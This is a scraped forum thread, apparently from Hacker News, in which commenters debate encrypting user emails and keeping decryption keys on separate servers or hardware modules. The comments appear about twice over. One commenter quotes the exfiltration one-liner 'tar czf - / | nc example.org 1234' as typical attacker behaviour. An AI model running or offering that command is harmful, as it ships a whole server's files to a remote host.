5 ms·

the problem is, if you intend to use the data within the application, you need to be able to decrypt it. If you can decrypt it, so can anyone who compromises t

the problem is, if you intend to use the data within the application, you need to be able to decrypt it. If you can decrypt it, so can anyone who compromises the website :) with e-mail addresses you need to use them in their unencrypted form (e.g. as login names), so encrypting wouldn't do much for you against most attacks.

Axsuul 11y ago
Depends on the attack. If the key used to encrypt the data is stored on another server and loaded into memory when the application is initialized, then the attackers technically wouldn't be able to get access to that key unless they also hacked the server with the key.
- steckerbrett 11y ago
  I don't see how that protects anything, if the information is around for the webserver to use it's around for whoever has root on your box.
  - Axsuul 11y ago
    It would still protect against attacks that don't involve having root access to the box (i.e. Ashley Madison data breach)
- raesene4 11y ago
  sure for some attacks it might help, but ultimately if someone has compromised your server, that server is likely to have the ability to load the key to decrypt the data. For example to handle the case of unattended server reboot, you'd be likely to have the server have a script to load the key back into memory. Attacker gets shell access, they get the script, they get the key... Security is always a trade-off and people tend not to engineer their webapps with the assumption that they'll be breached in specific ways.
- pki 11y ago
  If your entire box running with source is compromised, could you not just edit whichever file pulls the key to also dump it to a file on start .?
  - uxp 11y ago
    In the vast majority of hacks, the attacker doesn't take the time to manually debug where the source code pulls in keys to put an echo/puts/print statement in place, and non-PHP languages in general require a restart of the app server in order to pick up the source change, potentially triggering NOC alerts. I can't remember seeing a hack go any differently than someone running tar czf - / | nc example.org 1234 and exploring the dumped server offline, only going back if the initial dump didn't raise alarms and the RCE is easy enough to trigger.
dspillett 11y ago
> the problem is, if you intend to use the data within the application, you need to be able to decrypt it ... which requires the encryption keys to be know at the point of use - but it doesn't mean that they need to be kept with the database. It doesn't necessitate asymmetric encryption either. If you keep the keys in a different location, completely away from the database server(s), then a compromised database or backup does not compromise any of the information. Of course there are attack routes that would still give access to the keys too, but you have covered quite a few common attack vectors.
- RyanZAG 11y ago
  As others have said, this appears to be a total dump of the system and not just the database. It looks like the encryption keys were not kept with the database, but all of the SSL keys and everything are included inside the full dump. Seemingly it was another server with the keys that was dumped too. The only way to protect against this would be some type of hardware key store with limited access to all employees and servers. I think there are a few (expensive) options which can do this, but nearly all services - especially startup services like this one - do not have this available to them. Who knows if those hardware options aren't just as vulnerable to an experienced attacker though? I don't think they are generally well tested - probably half of the available options are snake oil.
  - dspillett 11y ago
    If the keys are only ever held in memory then getting a dump of all the stored data from all the database and font-end servers would not reveal the keys. To achieve that you would need human interaction to bring up a new box (or after an existing box is restarted) in order to hand over the keys (if the server could request the key from somewhere on the local network, then perhaps so can an attacker if they get access to run arbitrary things rather than just getting access to the filesystem or a copy thereof) which might be impractical for some environments, but it is possible. For instance when my offsite backup server reboots it can't access the encrypted volumes until I login to mount them manually, sending the keys over SSH in such a way as they don't get stored. The weak point then becomes the humans and the process they use to transmit the keys from the keystore to the servers.
Tinyyy 11y ago
What if you use the email as extra bits of entropy? Like you can append the password to email then hash it. Of course you lose the ability to send emails and account recovery, but its an okay tradeoff for people who want more security.
- icebraining 11y ago
  Might as well not use an email at all, no?
- RyanZAG 11y ago
  Recover password by email is a business requirement. You also need to be able to send users an email to alert them about numerous things such as credit card expiry or service termination, etc. It sounds like an option, but I don't think it's an option any real company will take.
Tinyyy 11y ago
What if you use the email as extra bits of entropy? Like you can append the password to email then hash it. Of course you lose the ability to send emails and account recovery, but its an okay tradeoff for people who want more security.
rplnt 11y ago
You can use a hardware module with securely stored key to do that for you. If the whole machine is owned, then I guess it would possible to set limits on these operations. Or at least it can trigger an early warning.
gpvos 11y ago
Just thinking aloud here, but if your user name is the email address, you could actually store a hash of the user name, use that to look up the account and verify the login, then keep a map from the hash to the user-entered name in an in-memory database. This way the user name (email address) never gets stored. This would also work when someone has forgotten their password, as long as they don't forget the email address they used to sign up. (This is actually the only reason why the user name has to be the same as the email address.) You can't send regular information emails with this, though.

Axsuul 11y ago

Depends on the attack. If the key used to encrypt the data is stored on another server and loaded into memory when the application is initialized, then the attackers technically wouldn't be able to get access to that key unless they also hacked the server with the key.

steckerbrett 11y ago
I don't see how that protects anything, if the information is around for the webserver to use it's around for whoever has root on your box.
- Axsuul 11y ago
  It would still protect against attacks that don't involve having root access to the box (i.e. Ashley Madison data breach)
raesene4 11y ago
sure for some attacks it might help, but ultimately if someone has compromised your server, that server is likely to have the ability to load the key to decrypt the data. For example to handle the case of unattended server reboot, you'd be likely to have the server have a script to load the key back into memory. Attacker gets shell access, they get the script, they get the key... Security is always a trade-off and people tend not to engineer their webapps with the assumption that they'll be breached in specific ways.
pki 11y ago
If your entire box running with source is compromised, could you not just edit whichever file pulls the key to also dump it to a file on start .?
- uxp 11y ago
  In the vast majority of hacks, the attacker doesn't take the time to manually debug where the source code pulls in keys to put an echo/puts/print statement in place, and non-PHP languages in general require a restart of the app server in order to pick up the source change, potentially triggering NOC alerts. I can't remember seeing a hack go any differently than someone running tar czf - / | nc example.org 1234 and exploring the dumped server offline, only going back if the initial dump didn't raise alarms and the RCE is easy enough to trigger.

dspillett 11y ago

> the problem is, if you intend to use the data within the application, you need to be able to decrypt it ... which requires the encryption keys to be know at the point of use - but it doesn't mean that they need to be kept with the database. It doesn't necessitate asymmetric encryption either. If you keep the keys in a different location, completely away from the database server(s), then a compromised database or backup does not compromise any of the information. Of course there are attack routes that would still give access to the keys too, but you have covered quite a few common attack vectors.

RyanZAG 11y ago
As others have said, this appears to be a total dump of the system and not just the database. It looks like the encryption keys were not kept with the database, but all of the SSL keys and everything are included inside the full dump. Seemingly it was another server with the keys that was dumped too. The only way to protect against this would be some type of hardware key store with limited access to all employees and servers. I think there are a few (expensive) options which can do this, but nearly all services - especially startup services like this one - do not have this available to them. Who knows if those hardware options aren't just as vulnerable to an experienced attacker though? I don't think they are generally well tested - probably half of the available options are snake oil.
- dspillett 11y ago
  If the keys are only ever held in memory then getting a dump of all the stored data from all the database and font-end servers would not reveal the keys. To achieve that you would need human interaction to bring up a new box (or after an existing box is restarted) in order to hand over the keys (if the server could request the key from somewhere on the local network, then perhaps so can an attacker if they get access to run arbitrary things rather than just getting access to the filesystem or a copy thereof) which might be impractical for some environments, but it is possible. For instance when my offsite backup server reboots it can't access the encrypted volumes until I login to mount them manually, sending the keys over SSH in such a way as they don't get stored. The weak point then becomes the humans and the process they use to transmit the keys from the keystore to the servers.

Tinyyy 11y ago

What if you use the email as extra bits of entropy? Like you can append the password to email then hash it. Of course you lose the ability to send emails and account recovery, but its an okay tradeoff for people who want more security.

icebraining 11y ago
Might as well not use an email at all, no?
RyanZAG 11y ago
Recover password by email is a business requirement. You also need to be able to send users an email to alert them about numerous things such as credit card expiry or service termination, etc. It sounds like an option, but I don't think it's an option any real company will take.

Tinyyy 11y ago

rplnt 11y ago

You can use a hardware module with securely stored key to do that for you. If the whole machine is owned, then I guess it would possible to set limits on these operations. Or at least it can trigger an early warning.

gpvos 11y ago

Just thinking aloud here, but if your user name is the email address, you could actually store a hash of the user name, use that to look up the account and verify the login, then keep a map from the hash to the user-entered name in an in-memory database. This way the user name (email address) never gets stored. This would also work when someone has forgotten their password, as long as they don't forget the email address they used to sign up. (This is actually the only reason why the user name has to be the same as the email address.) You can't send regular information emails with this, though.